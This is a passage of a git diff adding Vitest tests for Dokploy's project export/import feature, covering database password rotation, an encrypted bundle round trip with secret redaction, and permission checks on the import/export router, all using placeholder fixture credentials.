expect(specs).toHaveLength(2); + const appSpec = specs.find((s) => s.field === "databasePassword"); + const rootSpec = specs.find((s) => s.field === "databaseRootPassword"); + expect(appSpec?.newPassword).toBeDefined(); + expect(appSpec?.newPassword).toBe(rootSpec?.newPassword); + + const { text } = rotateText( + "MYSQL_ROOT_PASSWORD=sharedpass\nMYSQL_PASSWORD=sharedpass", + specs, + ); + expect(text).toBe( + `MYSQL_ROOT_PASSWORD=${rootSpec?.newPassword}\nMYSQL_PASSWORD=${appSpec?.newPassword}`, + ); + }); + + it("keeps a password that is too short or equal to the user/name and reports it", async () => { + const tx = { + query: { + postgres: { + findFirst: async () => ({ + postgresId: "pg-new-1", + databaseUser: "app", + databaseName: "app", + databasePassword: "app", + }), + }, + }, + } as any; + const snapshot = { + resources: { + services: [ + { + kind: "postgres", + postgresId: "pg-old-1", + name: "db", + environmentId: "env-1", + }, + ], + }, + } as any; + + const { specs, unsafe } = await buildRotationPlan(tx, snapshot, { + postgres: { "pg-old-1": "pg-new-1" }, + }); + + expect(specs).toHaveLength(0); + expect(unsafe).toEqual([ + expect.objectContaining({ + serviceId: "pg-new-1", + serviceType: "postgres", + }), + ]); + }); + + it("still generates independent new passwords when app and root passwords differ", async () => { + const tx = { + query: { + mysql: { + findFirst: async () => ({ + mysqlId: "mysql-new-1", + databasePassword: "app-pass", + databaseRootPassword: "root-pass", + }), + }, + }, + } as any; + const snapshot = { + resources: { + services: [{ kind: "mysql", mysqlId: "mysql-old-1" }], + }, + } as any; + const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } }; + + const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap); + + const appSpec = specs.find((s) => s.field === "databasePassword"); + const rootSpec = specs.find((s) => s.field === "databaseRootPassword"); + expect(appSpec?.newPassword).not.toBe(rootSpec?.newPassword); + }); +}); + +const applicationWithDbRef = { + applicationId: "app-1", + name: "my-app", + appName: "my-app-abc123", + environmentId: "env-1", + env: "DATABASE_URL=postgres://u:realdbpassword123@db/mydb", + buildArgs: "BUILD_DB_PASS=realdbpassword123", + buildSecrets: null, + previewEnv: null, + serverId: null, + buildServerId: null, + githubId: null, + gitlabId: null, + giteaId: null, + bitbucketId: null, + refreshToken: "webhook-token", + registryId: null, + buildRegistryId: null, + rollbackRegistryId: null, + customGitSSHKeyId: null, + customGitSSHKey: null, + networkIds: [], + owner: null, + repository: null, + sourceType: "docker", + autoDeploy: false, + isPreviewDeploymentsActive: false, + createdAt: "2024-01-01T00:00:00.000Z", + domains: [], + mounts: [ + { + mountId: "mount-1", + type: "file", + content: "password = realdbpassword123", + mountPath: "/etc/app.conf", + serviceType: "application", + createdAt: "2024-01-01", + }, + ], + redirects: [], + security: [], + ports: [], + schedules: [], + volumeBackups: [], +}; + +const applicationWithoutDbRef = { + ...applicationWithDbRef, + applicationId: "app-2", + appName: "my-app-two-def456", + name: "my-app-two", + env: "UNRELATED=1", + buildArgs: null, + mounts: [], +}; + +const postgresService = { + postgresId: "pg-1", + name: "my-db", + appName: "my-db-xyz789", + environmentId: "env-1", + env: "", + databasePassword: "realdbpassword123", + serverId: null, + createdAt: "2024-01-01T00:00:00.000Z", + mounts: [], + backups: [], + volumeBackups: [], +}; + +const emptyServiceArrays = { + mysql: [], + mariadb: [], + mongo: [], + redis: [], + libsql: [], + compose: [], +}; + +const projectTree = { + projectId: "project-1", + name: "my-project", + organizationId: "org-src", + env: "", + createdAt: "2024-01-01T00:00:00.000Z", + environments: [ + { + environmentId: "env-1", + name: "production", + projectId: "project-1", + env: "", + isDefault: true, + createdAt: "2024-01-01T00:00:00.000Z", + applications: [applicationWithDbRef, applicationWithoutDbRef], + postgres: [postgresService], + ...emptyServiceArrays, + }, + ], +}; + +const readDb = (): TransferDb => + ({ + query: { + projects: { findFirst: async () => projectTree }, + environments: { findFirst: async () => undefined }, + applications: { + findMany: async () => [applicationWithDbRef, applicationWithoutDbRef], + findFirst: async () => undefined, + }, + schedules: { findMany: async () => [] }, + volumeBackups: { findMany: async () => [] }, + vaultProvider: { findMany: async () => [] }, + registry: { findMany: async () => [] }, + destinations: { findMany: async () => [] }, + network: { findMany: async () => [] }, + certificates: { findMany: async () => [] }, + gitProvider: { findMany: async () => [] }, + server: { + findMany: async () => [], + findFirst: async () => ({ organizationId: "org-dest" }), + }, + webServerSettings: { findFirst: async () => undefined }, + sshKeys: { findMany: async () => [] }, + }, + }) as any as TransferDb; + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, +}; + +const runApplyForRotationTest = async (rotateDatabaseCredentials: boolean) => { + const db = readDb(); + const captureResult = await capture( + db, + { kind: "project", id: "project-1" }, + baseScope, + { + detectRequirements: (tree, scope) => detectRequirements(db, tree, scope), + detectWarnings: (tree, scope) => detectWarnings(tree, scope), + }, + ); + + const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: baseScope, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: captureResult.inventory.totals, + }, + resources: captureResult.resources, + requirements: captureResult.requirements, + warnings: captureResult.warnings, + dumps: [], + }; + + const plan: Plan = await buildPlan( + db, + snapshot, + "org-dest", + { kind: "newProject", name: "imported-project" }, + { rotateDatabaseCredentials }, + ); + + const insertedByTable = new Map[]>(); + let counter = 0; + const idFieldByTable = new Map([ + [projects, "projectId"], + [applications, "applicationId"], + [postgres, "postgresId"], + [mounts, "mountId"], + ]); + const environmentsTable = (await import("@dokploy/server/db/schema")) + .environments; + idFieldByTable.set(environmentsTable, "environmentId"); + + const writeDb = { + query: { + vaultProvider: { findFirst: async () => undefined }, + github: { findFirst: async () => undefined }, + gitlab: { findFirst: async () => undefined }, + gitea: { findFirst: async () => undefined }, + bitbucket: { findFirst: async () => undefined }, + applications: { + findFirst: async () => (insertedByTable.get(applications) ?? [])[0], + }, + postgres: { + findFirst: async () => (insertedByTable.get(postgres) ?? [])[0], + }, + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { + findMany: async (args?: { where?: unknown }) => + (insertedByTable.get(mounts) ?? []).filter((row) => + args?.where ? row.type === "file" : true, + ), + }, + projects: { + findFirst: async () => (insertedByTable.get(projects) ?? [])[0], + }, + environments: { + findFirst: async () => + (insertedByTable.get(environmentsTable) ?? [])[0], + }, + compose: { findFirst: async () => undefined }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const idField = idFieldByTable.get(table); + const row = { ...values }; + if (idField) { + row[idField] = + (values[idField] as string | undefined) ?? + `new-${idField}-${++counter}`; + } + const list = insertedByTable.get(table) ?? []; + list.push(row); + insertedByTable.set(table, list); + return { returning: async () => [row] }; + }, + }), + update: (table: unknown) => ({ + set: (values: Record) => ({ + where: async (condition: any) => { + const chunks = condition?.queryChunks ?? []; + const paramChunk = chunks.find( + (c: any) => c?.constructor?.name === "Param", + ); + const columnChunk = chunks.find( + (c: any) => typeof c?.name === "string", + ); + const list = insertedByTable.get(table) ?? []; + for (const row of list) { + if ( + !columnChunk || + !paramChunk || + row[columnChunk.name] === paramChunk.value + ) { + Object.assign(row, values); + } + } + }, + }), + }), + transaction: async (fn: (tx: unknown) => Promise) => { + return fn({ ...writeDb }); + }, + } as any as TransferWriteDb; + + const result = await apply( + writeDb, + snapshot, + plan, + captureResult.secretsPlain, + "org-dest", + ); + + return { + result, + insertedPostgres: (insertedByTable.get(postgres) ?? [])[0] as Record< + string, + unknown + >, + insertedApps: insertedByTable.get(applications) ?? [], + insertedMounts: insertedByTable.get(mounts) ?? [], + }; +}; + +describe("apply() with rotateDatabaseCredentials (opt-in)", () => { + it("rotates the postgres password, rewrites the referencing app's env, build args and file mount, and warns about the app with no reference", async () => { + const { result, insertedPostgres, insertedApps, insertedMounts } = + await runApplyForRotationTest(true); + + expect(insertedPostgres.databasePassword).not.toBe("realdbpassword123"); + expect(typeof insertedPostgres.databasePassword).toBe("string"); + + const referencingApp = insertedApps.find( + (a) => a.applicationId === result.idMap.application?.["app-1"], + ); + const nonReferencingApp = insertedApps.find( + (a) => a.applicationId === result.idMap.application?.["app-2"], + ); + expect(String(referencingApp?.env)).toContain( + String(insertedPostgres.databasePassword), + ); + expect(String(referencingApp?.env)).not.toContain("realdbpassword123"); + expect(String(referencingApp?.buildArgs)).toBe( + `BUILD_DB_PASS=${insertedPostgres.databasePassword}`, + ); + expect(String(insertedMounts[0]?.content)).toBe( + `password = ${insertedPostgres.databasePassword}`, + ); + expect(String(nonReferencingApp?.env)).toBe("UNRELATED=1"); + + expect(result.rotations).toHaveLength(1); + expect(result.rotations[0]).toMatchObject({ + field: "databasePassword", + occurrences: 3, + }); + + expect( + result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"), + ).toBe(true); + }); + + it("leaves the password untouched when rotateDatabaseCredentials is false (the default)", async () => { + const { result, insertedPostgres, insertedApps } = + await runApplyForRotationTest(false); + + expect(insertedPostgres.databasePassword).toBe("realdbpassword123"); + + const referencingApp = insertedApps.find( + (a) => a.applicationId === result.idMap.application?.["app-1"], + ); + expect(String(referencingApp?.env)).toContain("realdbpassword123"); + + expect(result.rotations).toHaveLength(0); + expect( + result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"), + ).toBe(false); + }); +}); diff --git a/apps/dokploy/__test__/export-import/roundtrip.test.ts b/apps/dokploy/__test__/export-import/roundtrip.test.ts new file mode 100644 index 000000000..a5537f6d0 --- /dev/null +++ b/apps/dokploy/__test__/export-import/roundtrip.test.ts @@ -0,0 +1,444 @@ +import { mkdtemp, rm } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { + applications, + compose, + domains, + mounts, + ports, + projects, + registry, + schedules, + security, +} from "@dokploy/server/db/schema"; +import type { + ExportScope, + TransferDb, + TransferWriteDb, +} from "@dokploy/server/services/project-export-import"; +import { + apply, + buildPlan, + capture, + detectRequirements, + detectWarnings, + inspectBundle, + LOCAL_SERVER_CANDIDATE_ID, + serialize, + unlockBundle, +} from "@dokploy/server/services/project-export-import"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +const local = (path: string) => ({ serverId: null, path }); + +const PASSPHRASE = "correct-horse-battery-staple"; + +const application = { + applicationId: "app-1", + name: "my-app", + appName: "my-app-abc123", + environmentId: "env-1", + env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token", + buildArgs: null, + buildSecrets: null, + previewEnv: null, + serverId: null, + buildServerId: null, + githubId: null, + gitlabId: null, + giteaId: null, + bitbucketId: null, + refreshToken: "webhook-token", + registryId: "registry-src-1", + buildRegistryId: null, + rollbackRegistryId: null, + customGitSSHKeyId: null, + customGitSSHKey: null, + networkIds: [], + owner: null, + repository: null, + sourceType: "docker", + autoDeploy: false, + isPreviewDeploymentsActive: false, + createdAt: "2024-01-01T00:00:00.000Z", + domains: [ + { domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" }, + ], + mounts: [ + { + mountId: "mount-1", + type: "file", + content: "server { listen 80; }", + mountPath: "/etc/nginx/nginx.conf", + serviceType: "application", + createdAt: "2024-01-01", + }, + ], + redirects: [], + security: [ + { + securityId: "sec-1", + username: "admin", + password: "basicauthpass", + createdAt: "2024-01-01", + }, + ], + ports: [ + { + portId: "port-1", + publishedPort: 8080, + publishMode: "host", + targetPort: 80, + protocol: "tcp", + }, + ], + schedules: [], + volumeBackups: [], +}; + +const composeService = { + composeId: "compose-1", + name: "my-compose", + appName: "my-compose-def456", + environmentId: "env-1", + env: "", + serverId: null, + composeFile: "services:\n web:\n image: nginx\n", + sourceType: "raw", + composeType: "docker-compose", + createdAt: "2024-01-01T00:00:00.000Z", + domains: [], + mounts: [], + backups: [], + schedules: [ + { + scheduleId: "schedule-1", + name: "nightly-restart", + cronExpression: "0 0 * * *", + shellType: "bash", + scheduleType: "compose", + command: "docker compose restart", + createdAt: "2024-01-01T00:00:00.000Z", + }, + ], + volumeBackups: [], +}; + +const emptyServiceArrays = { + postgres: [], + mysql: [], + mariadb: [], + mongo: [], + redis: [], + libsql: [], +}; + +const projectTree = { + projectId: "project-1", + name: "my-project", + organizationId: "org-src", + env: "", + createdAt: "2024-01-01T00:00:00.000Z", + environments: [ + { + environmentId: "env-1", + name: "production", + projectId: "project-1", + env: "", + isDefault: true, + createdAt: "2024-01-01T00:00:00.000Z", + applications: [application], + compose: [composeService], + ...emptyServiceArrays, + }, + ], +}; + +const readDb = (): TransferDb => + ({ + query: { + projects: { findFirst: async () => projectTree }, + environments: { findFirst: async () => undefined }, + applications: { + findMany: async () => [application], + findFirst: async () => undefined, + }, + schedules: { findMany: async () => [] }, + volumeBackups: { findMany: async () => [] }, + vaultProvider: { + findMany: async () => [ + { + vaultProviderId: "vault-dest-1", + name: "prod", + providerType: "hashicorp", + organizationId: "org-dest", + }, + ], + }, + registry: { + findMany: async () => [ + { + registryId: "registry-src-1", + registryName: "Acme", + registryUrl: "https://registry.example.com", + imagePrefix: "acme", + username: "user", + password: "pass", + organizationId: "org-src", + }, + ], + findFirst: async () => ({ + registryId: "registry-src-1", + registryName: "Acme", + registryUrl: "https://registry.example.com", + imagePrefix: "acme", + username: "user", + password: "pass", + organizationId: "org-src", + }), + }, + destinations: { findMany: async () => [] }, + network: { findMany: async () => [] }, + certificates: { findMany: async () => [] }, + gitProvider: { findMany: async () => [] }, + server: { + findMany: async () => [], + findFirst: async () => ({ organizationId: "org-dest" }), + }, + webServerSettings: { findFirst: async () => undefined }, + sshKeys: { findMany: async () => [] }, + domains: { findMany: async () => [] }, + ports: { findMany: async () => [] }, + }, + }) as any as TransferDb; + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: { registry: "value" }, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, +}; + +let workDir: string; +let outDir: string; +let extractDir: string; + +beforeEach(async () => { + workDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-work-")); + outDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-out-")); + extractDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-extract-")); +}); + +afterEach(async () => { + await rm(workDir, { recursive: true, force: true }); + await rm(outDir, { recursive: true, force: true }); + await rm(extractDir, { recursive: true, force: true }); +}); + +describe("transfer roundtrip: capture -> serialize -> deserialize -> plan -> apply", () => { + it("re-creates the project with equivalent values, remapped ids/appNames/serverId, and no plaintext secrets anywhere along the way", async () => { + const db = readDb(); + + const captureResult = await capture( + db, + { kind: "project", id: "project-1" }, + baseScope, + { + detectRequirements: (tree, scope) => + detectRequirements(db, tree, scope), + detectWarnings: (tree, scope) => detectWarnings(tree, scope), + }, + ); + + const bundlePath = join(outDir, "bundle.dokploy.tar.gz"); + await serialize( + { + resources: captureResult.resources, + inventory: captureResult.inventory, + requirements: captureResult.requirements, + warnings: captureResult.warnings, + dumps: [], + scope: baseScope, + organizationId: "org-src", + dokployVersion: "1.0.0-test", + exportedBy: { userId: "user-1", email: "a@b.com" }, + }, + captureResult.secretsPlain, + PASSPHRASE, + local(workDir), + local(bundlePath), + ); + + await inspectBundle(local(bundlePath), local(extractDir)); + const unlocked = await unlockBundle(local(extractDir), PASSPHRASE); + + const plan = await buildPlan( + db, + unlocked.snapshot, + "org-dest", + { kind: "newProject", name: "imported-project" }, + { + resolutions: { + "server:null": { + requirementKey: "server:null", + action: "reuse", + targetId: LOCAL_SERVER_CANDIDATE_ID, + }, + }, + }, + ); + expect( + plan.resolutions[ + Object.keys(plan.resolutions).find((k) => k.startsWith("vault:"))! + ]?.action, + ).toBe("reuse"); + expect( + plan.resolutions[ + Object.keys(plan.resolutions).find((k) => k.startsWith("registry:"))! + ]?.action, + ).toBe("reuse"); + expect(plan.pendingServices).toEqual([]); + + const insertedByTable = new Map[]>(); + let counter = 0; + const idFieldByTable = new Map([ + [projects, "projectId"], + [applications, "applicationId"], + [compose, "composeId"], + [domains, "domainId"], + [mounts, "mountId"], + [ports, "portId"], + [security, "securityId"], + [registry, "registryId"], + [schedules, "scheduleId"], + ]); + const environmentsTable = (await import("@dokploy/server/db/schema")) + .environments; + idFieldByTable.set(environmentsTable, "environmentId"); + + const writeDb = { + query: { + vaultProvider: { + findFirst: async () => ({ + vaultProviderId: "vault-dest-1", + name: "prod", + organizationId: "org-dest", + assignments: [], + }), + }, + registry: { + findFirst: async () => ({ + registryId: "registry-dest-1", + organizationId: "org-dest", + }), + }, + github: { findFirst: async () => undefined }, + gitlab: { findFirst: async () => undefined }, + gitea: { findFirst: async () => undefined }, + bitbucket: { findFirst: async () => undefined }, + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const idField = idFieldByTable.get(table); + const row = { ...values }; + if (idField) { + row[idField] = + (values[idField] as string | undefined) ?? + `new-${idField}-${++counter}`; + } + const list = insertedByTable.get(table) ?? []; + list.push(row); + insertedByTable.set(table, list); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => { + const tx = { ...writeDb }; + return fn(tx); + }, + } as any as TransferWriteDb; + + const result = await apply( + writeDb, + unlocked.snapshot, + plan, + unlocked.secretsPlain, + "org-dest", + ); + + const projectRow = (insertedByTable.get(projects) ?? [])[0] as Record< + string, + unknown + >; + expect(projectRow.projectId).not.toBe("project-1"); + // The shared fake db also reports "imported-project" as an existing project, so the name conflict is auto-renamed. + expect(projectRow.name).toBe("imported-project (imported)"); + expect(result.idMap.project?.["project-1"]).toBe(projectRow.projectId); + + const insertedApp = (insertedByTable.get(applications) ?? [])[0] as Record< + string, + unknown + >; + expect(insertedApp.applicationId).not.toBe("app-1"); + expect(insertedApp.appName).not.toBe("my-app-abc123"); + expect(insertedApp.env).toBe( + "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token", + ); + expect(insertedApp.registryId).toBe("registry-src-1"); + expect(insertedByTable.get(registry) ?? []).toHaveLength(0); + + const insertedCompose = (insertedByTable.get(compose) ?? [])[0] as Record< + string, + unknown + >; + expect(insertedCompose.composeId).not.toBe("compose-1"); + expect(insertedCompose.appName).not.toBe("my-compose-def456"); + expect(insertedCompose.composeFile).toBe(composeService.composeFile); + + const insertedSchedule = (insertedByTable.get(schedules) ?? [])[0] as + | Record + | undefined; + expect(insertedSchedule?.composeId).toBe(insertedCompose.composeId); + expect(insertedSchedule?.organizationId).toBe("org-dest"); + + const insertedDomain = (insertedByTable.get(domains) ?? [])[0] as Record< + string, + unknown + >; + expect(insertedDomain.host).toBe("app-1.example.com"); + expect(insertedDomain.applicationId).toBe(insertedApp.applicationId); + + const insertedMount = (insertedByTable.get(mounts) ?? [])[0] as Record< + string, + unknown + >; + expect(insertedMount.content).toBe("server { listen 80; }"); + + const insertedSecurity = (insertedByTable.get(security) ?? [])[0] as Record< + string, + unknown + >; + expect(insertedSecurity.password).toBe("basicauthpass"); + + const insertedPort = (insertedByTable.get(ports) ?? [])[0] as Record< + string, + unknown + >; + expect(insertedPort.publishedPort).toBe(8080); + + const serializedInserts = JSON.stringify([...insertedByTable.values()]); + expect(serializedInserts).not.toContain("$secret:"); + expect(serializedInserts).not.toContain("webhook-token"); + }, 30_000); +}); diff --git a/apps/dokploy/__test__/export-import/router.test.ts b/apps/dokploy/__test__/export-import/router.test.ts new file mode 100644 index 000000000..bd08f39c0 --- /dev/null +++ b/apps/dokploy/__test__/export-import/router.test.ts @@ -0,0 +1,577 @@ +import { describe, expect, it, vi } from "vitest"; + +const local = (path: string) => ({ serverId: null, path }); + +vi.mock("@/server/utils/billing", () => ({ + getCurrentPlan: vi.fn(async () => null), +})); + +vi.mock( + "@dokploy/server/services/project-export-import", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/services/project-export-import") + >(); + return { + ...actual, + assertTransferPermission: vi.fn(async () => ({ role: "owner" })), + validatePlan: vi.fn(async () => []), + inspectBundle: vi.fn(async () => { + throw new Error("inspectBundle not stubbed for this test"); + }), + }; + }, +); + +const { + createImportJob, + getImportJob, + createExportJob, + exportScopeSchema, + assertTransferPermission, + validatePlan, + updateImportJob, + inspectBundle, + UnsupportedBundleVersionError, +} = await import("@dokploy/server/services/project-export-import"); +const { projectExportImportRouter } = await import( + "../../server/api/routers/project-export-import" +); + +const ctxFor = (organizationId: string, userId = "user-1") => + ({ + session: { activeOrganizationId: organizationId }, + user: { id: userId, email: "a@b.com" }, + }) as any; + +describe("projectExportImportRouter.importStart", () => { + it("rejects with BAD_REQUEST when importPlan hasn't run yet, after checking permission", async () => { + const importId = "import-router-1"; + createImportJob(importId, "user-1", "org-1"); + const callCountBefore = (assertTransferPermission as any).mock.calls.length; + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect(caller.importStart({ importId })).rejects.toMatchObject({ + code: "BAD_REQUEST", + }); + + expect((assertTransferPermission as any).mock.calls.length).toBeGreaterThan( + callCountBefore, + ); + }); + + it("returns NOT_FOUND for a job belonging to another organization", async () => { + const importId = "import-router-3"; + createImportJob(importId, "user-1", "org-2"); + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect(caller.importStart({ importId })).rejects.toMatchObject({ + code: "NOT_FOUND", + }); + }); + + it("calls validatePlan and rejects with BAD_REQUEST when a check fails", async () => { + const userId = "user-validate-a"; + const importId = "import-router-validate-1"; + createImportJob(importId, userId, "org-1"); + updateImportJob(importId, { + status: "planned", + snapshot: { resources: { services: [] } } as any, + plan: { + serverMap: {}, + target: { kind: "newProject", name: "imported" }, + } as any, + }); + + (validatePlan as any).mockResolvedValueOnce([ + { check: "appName:taken-name", ok: false, detail: "Already in use" }, + ]); + + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", userId), + ); + await expect(caller.importStart({ importId })).rejects.toMatchObject({ + code: "BAD_REQUEST", + }); + expect(validatePlan).toHaveBeenCalled(); + }); + + it("proceeds past validation when every check passes", async () => { + const userId = "user-validate-b"; + const importId = "import-router-validate-2"; + createImportJob(importId, userId, "org-1"); + updateImportJob(importId, { + status: "planned", + snapshot: { resources: { services: [] } } as any, + plan: { + serverMap: {}, + target: { kind: "newProject", name: "imported" }, + } as any, + }); + + (validatePlan as any).mockResolvedValueOnce([ + { check: "appName:free-name", ok: true }, + ]); + + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", userId), + ); + const result = await caller.importStart({ importId }); + expect(result).toEqual({ success: true }); + }); + + it("rejects with CONFLICT when the user already has a different transfer active", async () => { + const userId = "user-validate-c"; + const busyImportId = "import-router-busy-1"; + createImportJob(busyImportId, userId, "org-1"); + + const importId = "import-router-validate-3"; + createImportJob(importId, userId, "org-1"); + updateImportJob(importId, { + status: "planned", + snapshot: { resources: { services: [] } } as any, + plan: { + serverMap: {}, + target: { kind: "newProject", name: "imported" }, + } as any, + }); + (validatePlan as any).mockResolvedValueOnce([ + { check: "appName:free-name", ok: true }, + ]); + + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", userId), + ); + await expect(caller.importStart({ importId })).rejects.toMatchObject({ + code: "CONFLICT", + }); + }); + + it("does not treat the job's own already-active status as a conflict with itself", async () => { + const userId = "user-validate-d"; + const importId = "import-router-validate-4"; + createImportJob(importId, userId, "org-1"); + updateImportJob(importId, { + status: "planned", + snapshot: { resources: { services: [] } } as any, + plan: { + serverMap: {}, + target: { kind: "newProject", name: "imported" }, + } as any, + }); + (validatePlan as any).mockResolvedValueOnce([ + { check: "appName:free-name", ok: true }, + ]); + + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", userId), + ); + const result = await caller.importStart({ importId }); + expect(result).toEqual({ success: true }); + }); + + it("re-checks target.projectId's org via assertTransferPermission for an existingProject target", async () => { + const userId = "user-validate-e"; + const importId = "import-router-validate-5"; + createImportJob(importId, userId, "org-1"); + updateImportJob(importId, { + status: "planned", + snapshot: { resources: { services: [] } } as any, + plan: { + serverMap: {}, + target: { + kind: "existingProject", + projectId: "project-other-org", + environmentName: "imported", + }, + } as any, + }); + (validatePlan as any).mockResolvedValueOnce([ + { check: "appName:free-name", ok: true }, + ]); + + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", userId), + ); + await caller.importStart({ importId }).catch(() => {}); + + const lastCall = (assertTransferPermission as any).mock.calls.at(-1); + expect(lastCall[1]).toBe("project-other-org"); + }); +}); + +describe("projectExportImportRouter.importInspect (T-6.20)", () => { + it("maps UnsupportedBundleVersionError to BAD_REQUEST with its guidance message", async () => { + const importId = "import-router-inspect-1"; + createImportJob(importId, "user-1", "org-1"); + updateImportJob(importId, { + root: local("/tmp/does-not-matter"), + bundle: local("/tmp/does-not-matter.tar.gz"), + }); + + (inspectBundle as any).mockRejectedValueOnce( + new UnsupportedBundleVersionError(2, 1), + ); + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect(caller.importInspect({ importId })).rejects.toMatchObject({ + code: "BAD_REQUEST", + message: expect.stringContaining("newer version of Dokploy"), + }); + }); +}); + +describe("projectExportImportRouter guards", () => { + it("refuses to start an import that is not in the planned state", async () => { + const importId = "import-router-not-planned"; + createImportJob(importId, "user-not-planned", "org-1"); + updateImportJob(importId, { + status: "applying", + snapshot: { resources: { services: [] } } as any, + plan: { target: { kind: "newProject", name: "x" } } as any, + }); + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", "user-not-planned"), + ); + await expect(caller.importStart({ importId })).rejects.toMatchObject({ + code: "CONFLICT", + }); + }); + + it("only lets the user who started the import reveal its secrets", async () => { + const importId = "import-router-other-user"; + createImportJob(importId, "user-a", "org-1"); + updateImportJob(importId, { + status: "unlocked", + snapshot: { resources: { services: [], shared: {} } } as any, + secretsPlain: new Map([["s", "v"]]), + }); + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", "user-b"), + ); + await expect( + caller.importSecretReveal({ importId, secretId: "s" }), + ).rejects.toMatchObject({ code: "FORBIDDEN" }); + }); + + it("restores the original secret when an override is dropped from a later call", async () => { + const importId = "import-router-override-reset"; + createImportJob(importId, "user-1", "org-1"); + updateImportJob(importId, { + status: "unlocked", + snapshot: { + resources: { + services: [], + shared: { + registry: [{ registryName: "ghcr", password: "$secret:reg-1" }], + }, + }, + } as any, + secretsPlain: new Map([["reg-1", "original"]]), + }); + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + + await caller.importSecretsOverride({ + importId, + overrides: { "reg-1": "replaced" }, + }); + expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("replaced"); + + await caller.importSecretsOverride({ importId, overrides: {} }); + expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("original"); + }); + + it("only deletes objects that look like export bundles", async () => { + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", "user-delete-bundle"), + ); + await expect( + caller.deleteRemoteBundle({ + destinationId: "dest-1", + key: "backups/production.sql.gz", + }), + ).rejects.toMatchObject({ code: "BAD_REQUEST" }); + }); + + it("reports unknown or foreign export ids as errors in exportBatchStatus", async () => { + createExportJob("batch-other-org", "user-1", "org-2"); + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect( + caller.exportBatchStatus({ exportIds: ["nope", "batch-other-org"] }), + ).resolves.toEqual([ + { exportId: "nope", status: "error", error: "Export not found" }, + { + exportId: "batch-other-org", + status: "error", + error: "Export not found", + }, + ]); + }); + + it("parses the full organization scope and a bare preview scope with defaults", async () => { + const full = exportScopeSchema.parse({ dumps: { mode: "embed" } }); + expect(full).toEqual({ + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "embed" }, + includeBackupSchedules: true, + }); + expect(exportScopeSchema.parse({}).dumps.mode).toBe("none"); + }); + + it("rejects an organization export to a destination the organization does not own", async () => { + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", "user-org-export"), + ); + await expect( + caller.exportOrganizationStart({ + destinationId: "dest-of-org-2", + passphrase: "a-long-enough-passphrase", + projectIds: ["project-1"], + }), + ).rejects.toMatchObject({ code: "NOT_FOUND" }); + }); + + it("rejects exportStart with a destination the organization does not own", async () => { + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", "user-export-dest"), + ); + await expect( + caller.exportStart({ + projectId: "project-1", + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + passphrase: "a-long-enough-passphrase", + deliver: { kind: "destination", destinationId: "dest-of-org-2" }, + }), + ).rejects.toMatchObject({ code: "NOT_FOUND" }); + }); +}); + +describe("projectExportImportRouter.importValidate", () => { + it("rejects with BAD_REQUEST before importPlan ran", async () => { + const importId = "import-router-validate-early"; + createImportJob(importId, "user-validate-early", "org-1"); + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", "user-validate-early"), + ); + await expect(caller.importValidate({ importId })).rejects.toMatchObject({ + code: "BAD_REQUEST", + }); + }); + + it("stores the checks on the plan and returns them", async () => { + const importId = "import-router-validate-store"; + createImportJob(importId, "user-validate-store", "org-1"); + updateImportJob(importId, { + status: "planned", + snapshot: { resources: { services: [] } } as any, + plan: { + target: { kind: "newProject", name: "x" }, + validation: [], + } as 